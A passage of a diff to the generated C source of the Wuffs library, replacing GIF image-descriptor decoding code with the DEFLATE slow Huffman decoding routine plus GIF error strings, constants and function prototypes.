0; ++ uint32_t v_dist_minus_1 = 0; ++ uint32_t v_b5 = 0; ++ uint32_t v_n_copied = 0; ++ uint32_t v_hlen = 0; ++ uint32_t v_hdist = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -38807,139 +40341,275 @@ wuffs_gif__decoder__decode_id_part1( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_id_part1[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow; + if (coro_susp_point) { +- v_which_palette = self->private_data.s_decode_id_part1[0].v_which_palette; +- v_num_palette_entries = self->private_data.s_decode_id_part1[0].v_num_palette_entries; +- v_i = self->private_data.s_decode_id_part1[0].v_i; ++ v_bits = self->private_data.s_decode_huffman_slow.v_bits; ++ v_n_bits = self->private_data.s_decode_huffman_slow.v_n_bits; ++ v_table_entry_n_bits = self->private_data.s_decode_huffman_slow.v_table_entry_n_bits; ++ v_lmask = self->private_data.s_decode_huffman_slow.v_lmask; ++ v_dmask = self->private_data.s_decode_huffman_slow.v_dmask; ++ v_redir_top = self->private_data.s_decode_huffman_slow.v_redir_top; ++ v_redir_mask = self->private_data.s_decode_huffman_slow.v_redir_mask; ++ v_length = self->private_data.s_decode_huffman_slow.v_length; ++ v_dist_minus_1 = self->private_data.s_decode_huffman_slow.v_dist_minus_1; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_flags = t_0; +- } +- if ((v_flags & 64u) != 0u) { +- self->private_impl.f_interlace = 4u; +- } else { +- self->private_impl.f_interlace = 0u; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; + } +- v_which_palette = 1u; +- if ((v_flags & 128u) != 0u) { +- v_num_palette_entries = (((uint32_t)(1u)) << (1u + (v_flags & 7u))); +- v_i = 0u; +- while (v_i < v_num_palette_entries) { ++ v_bits = self->private_impl.f_bits; ++ v_n_bits = self->private_impl.f_n_bits; ++ v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); ++ label__loop__continue:; ++ while ( ! (self->private_impl.p_decode_huffman_slow != 0)) { ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_1 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_decode_id_part1[0].scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_0 = *iop_a_src++; ++ v_b0 = t_0; ++ } ++ v_bits |= (v_b0 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ if ((v_table_entry >> 31u) != 0u) { ++ self->private_data.s_decode_huffman_slow.scratch = ((uint8_t)((v_table_entry >> 8u))); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; ++ } ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow.scratch)); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } ++ { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part1[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 16) { +- t_1 = ((uint32_t)(*scratch >> 40)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint32_t t_1 = *iop_a_src++; ++ v_b1 = t_1; + } +- v_argb = t_1; ++ v_bits |= (v_b1 << v_n_bits); ++ v_n_bits += 8u; + } +- v_argb |= 4278190080u; +- self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ if ((v_table_entry >> 31u) != 0u) { ++ self->private_data.s_decode_huffman_slow.scratch = ((uint8_t)((v_table_entry >> 8u))); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; ++ } ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow.scratch)); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- while (v_i < 256u) { +- self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = 0u; +- self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = 0u; +- self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = 0u; +- self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = 255u; +- v_i += 1u; ++ v_length = (((v_table_entry >> 8u) & 255u) + 3u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ while (v_n_bits < v_table_entry_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_2 = *iop_a_src++; ++ v_b2 = t_2; ++ } ++ v_bits |= (v_b2 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ v_length = (((v_length + 253u + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; + } +- } else if (self->private_impl.f_quirks[6u] && ! self->private_impl.f_has_global_palette) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_palette); +- goto exit; +- } else if (self->private_impl.f_gc_has_transparent_index) { +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_palettes[1u], 1024), wuffs_base__make_slice_u8(self->private_data.f_palettes[0u], 1024)); +- } else { +- v_which_palette = 0u; +- } +- if (self->private_impl.f_gc_has_transparent_index) { +- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 0u)] = 0u; +- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 1u)] = 0u; +- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 2u)] = 0u; +- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 3u)] = 0u; +- } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- wuffs_base__utility__make_pixel_format(2198077448u), +- wuffs_base__make_slice_u8(self->private_data.f_palettes[v_which_palette], 1024), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_3 = *iop_a_src++; ++ v_b3 = t_3; ++ } ++ v_bits |= (v_b3 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ if ((v_table_entry >> 28u) == 1u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_4 = *iop_a_src++; ++ v_b4 = t_4; ++ } ++ v_bits |= (v_b4 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ } ++ if ((v_table_entry >> 24u) != 64u) { ++ if ((v_table_entry >> 24u) == 8u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + goto exit; + } +- goto ok; +- } +- if (self->private_impl.f_ignored_but_affects_benchmarks) { +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ while (v_n_bits < v_table_entry_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_5 = *iop_a_src++; ++ v_b5 = t_5; ++ } ++ v_bits |= (v_b5 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } ++ while (true) { ++ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_hdist < v_length) { ++ v_hlen = v_hdist; ++ } else { ++ v_hlen = v_length; ++ } ++ v_hdist += ((uint32_t)(((uint64_t)(self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u))))); ++ if (self->private_impl.f_history_index < v_hdist) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); ++ goto exit; ++ } ++ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); ++ if (v_n_copied < v_hlen) { ++ v_length -= v_n_copied; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ continue; ++ } ++ v_length -= v_hlen; ++ if (v_length == 0u) { ++ goto label__loop__continue; ++ } ++ } ++ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ if (v_length <= v_n_copied) { ++ goto label__loop__continue; ++ } ++ v_length -= v_n_copied; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); + } +- uint8_t t_2 = *iop_a_src++; +- v_lw = t_2; + } +- if (v_lw > 8u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); ++ self->private_impl.f_bits = v_bits; ++ self->private_impl.f_n_bits = v_n_bits; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); + goto exit; + } +- self->private_impl.f_lzw_pending_literal_width_plus_one = ((uint32_t)((1u + v_lw))); +- self->private_impl.f_ignored_but_affects_benchmarks = true; + + ok: +- self->private_impl.p_decode_id_part1[0] = 0; ++ self->private_impl.p_decode_huffman_slow = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_id_part1[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_id_part1[0].v_which_palette = v_which_palette; +- self->private_data.s_decode_id_part1[0].v_num_palette_entries = v_num_palette_entries; +- self->private_data.s_decode_id_part1[0].v_i = v_i; ++ self->private_impl.p_decode_huffman_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_huffman_slow.v_bits = v_bits; ++ self->private_data.s_decode_huffman_slow.v_n_bits = v_n_bits; ++ self->private_data.s_decode_huffman_slow.v_table_entry_n_bits = v_table_entry_n_bits; ++ self->private_data.s_decode_huffman_slow.v_lmask = v_lmask; ++ self->private_data.s_decode_huffman_slow.v_dmask = v_dmask; ++ self->private_data.s_decode_huffman_slow.v_redir_top = v_redir_top; ++ self->private_data.s_decode_huffman_slow.v_redir_mask = v_redir_mask; ++ self->private_data.s_decode_huffman_slow.v_length = v_length; ++ self->private_data.s_decode_huffman_slow.v_dist_minus_1 = v_dist_minus_1; + + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -38947,782 +40617,538 @@ wuffs_gif__decoder__decode_id_part1( + return status; + } + +-// -------- func gif.decoder.decode_id_part2 ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_gif__error__bad_lzw_code[] = "#gif: bad LZW code"; ++const char wuffs_gif__error__bad_extension_label[] = "#gif: bad extension label"; ++const char wuffs_gif__error__bad_frame_size[] = "#gif: bad frame size"; ++const char wuffs_gif__error__bad_graphic_control[] = "#gif: bad graphic control"; ++const char wuffs_gif__error__bad_header[] = "#gif: bad header"; ++const char wuffs_gif__error__bad_literal_width[] = "#gif: bad literal width"; ++const char wuffs_gif__error__bad_palette[] = "#gif: bad palette"; ++const char wuffs_gif__error__truncated_input[] = "#gif: truncated input"; ++const char wuffs_gif__error__internal_error_inconsistent_i_o[] = "#gif: internal error: inconsistent I/O"; ++ ++// ---------------- Private Consts ++ ++static const uint32_t ++WUFFS_GIF__INTERLACE_START[5] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 4294967295u, 1u, 2u, 4u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__INTERLACE_DELTA[5] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 2u, 4u, 8u, 8u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__INTERLACE_COUNT[5] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 2u, 4u, 8u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__ANIMEXTS1DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 65u, 78u, 73u, 77u, 69u, 88u, 84u, 83u, ++ 49u, 46u, 48u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__NETSCAPE2DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 78u, 69u, 84u, 83u, 67u, 65u, 80u, 69u, ++ 50u, 46u, 48u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__ICCRGBG1012[11] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 73u, 67u, 67u, 82u, 71u, 66u, 71u, 49u, ++ 48u, 49u, 50u, ++}; ++ ++static const uint8_t ++WUFFS_GIF__XMPDATAXMP[11] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 88u, 77u, 80u, 32u, 68u, 97u, 116u, 97u, ++ 88u, 77u, 80u, ++}; ++ ++#define WUFFS_GIF__QUIRKS_BASE 1041635328u ++ ++#define WUFFS_GIF__QUIRKS_COUNT 7u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_id_part2( ++wuffs_gif__decoder__do_decode_image_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__do_tell_me_more( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__do_decode_frame_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__skip_frame( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__do_decode_frame( + wuffs_gif__decoder* self, + wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint64_t v_block_size = 0; +- bool v_need_block_size = false; +- uint32_t v_n_copied = 0; +- uint64_t v_n_compressed = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint64_t v_mark = 0; +- wuffs_base__status v_copy_status = wuffs_base__make_status(NULL); ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_gif__decoder__reset_gc( ++ wuffs_gif__decoder* self); + +- uint32_t coro_susp_point = self->private_impl.p_decode_id_part2[0]; +- if (coro_susp_point) { +- v_block_size = self->private_data.s_decode_id_part2[0].v_block_size; +- v_need_block_size = self->private_data.s_decode_id_part2[0].v_need_block_size; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_up_to_id_part1( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- wuffs_gif__decoder__lzw_init(self); +- v_need_block_size = true; +- label__outer__continue:; +- while (true) { +- if (v_need_block_size) { +- v_need_block_size = false; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t t_0 = *iop_a_src++; +- v_block_size = t_0; +- } +- } +- if (v_block_size == 0u) { +- break; +- } +- while (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } +- if (self->private_impl.f_compressed_ri == self->private_impl.f_compressed_wi) { +- self->private_impl.f_compressed_ri = 0u; +- self->private_impl.f_compressed_wi = 0u; +- } +- while (self->private_impl.f_compressed_wi <= 3841u) { +- v_n_compressed = wuffs_base__u64__min(v_block_size, ((uint64_t)(io2_a_src - iop_a_src))); +- if (v_n_compressed <= 0u) { +- break; +- } +- v_n_copied = wuffs_base__io_reader__limited_copy_u32_to_slice( +- &iop_a_src, io2_a_src,((uint32_t)(v_n_compressed)), wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, self->private_impl.f_compressed_wi, 4096)); +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_compressed_wi, ((uint64_t)(v_n_copied))); +- wuffs_base__u64__sat_sub_indirect(&v_block_size, ((uint64_t)(v_n_copied))); +- if (v_block_size > 0u) { +- break; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- v_need_block_size = true; +- break; +- } +- v_block_size = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); +- iop_a_src += 1u; +- } +- while (true) { +- if ((self->private_impl.f_compressed_ri > self->private_impl.f_compressed_wi) || (self->private_impl.f_compressed_wi > 4096u)) { +- status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, +- self->private_impl.f_compressed_ri, +- self->private_impl.f_compressed_wi), +- 0u); +- v_mark = ((uint64_t)(iop_v_r - io0_v_r)); +- u_r.meta.ri = ((size_t)(iop_v_r - u_r.data.ptr)); +- wuffs_gif__decoder__lzw_read_from(self, v_r); +- iop_v_r = u_r.data.ptr + u_r.meta.ri; +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_compressed_ri, wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_v_r - io0_v_r)))); +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- if (self->private_impl.f_lzw_output_ri < self->private_impl.f_lzw_output_wi) { +- v_copy_status = wuffs_gif__decoder__copy_to_image_buffer(self, a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_lzw_output, +- self->private_impl.f_lzw_output_ri, +- self->private_impl.f_lzw_output_wi)); +- if (wuffs_base__status__is_error(&v_copy_status)) { +- status = v_copy_status; +- goto exit; +- } +- self->private_impl.f_lzw_output_ri = 0u; +- self->private_impl.f_lzw_output_wi = 0u; +- } +- if (self->private_impl.f_lzw_read_from_return_value == 0u) { +- self->private_impl.f_ignored_but_affects_benchmarks = false; +- if (v_need_block_size || (v_block_size > 0u)) { +- self->private_data.s_decode_id_part2[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (self->private_data.s_decode_id_part2[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_id_part2[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_id_part2[0].scratch; +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } +- goto label__outer__break; +- } else if (self->private_impl.f_lzw_read_from_return_value == 1u) { +- continue; +- } else if (self->private_impl.f_lzw_read_from_return_value == 2u) { +- goto label__outer__continue; +- } else if (self->private_impl.f_quirks[3u] && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) && (self->private_impl.f_interlace == 0u)) { +- if (v_need_block_size || (v_block_size > 0u)) { +- self->private_data.s_decode_id_part2[0].scratch = ((uint32_t)(v_block_size)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_decode_id_part2[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_id_part2[0].scratch -= ((uint64_t)(io2_a_src - 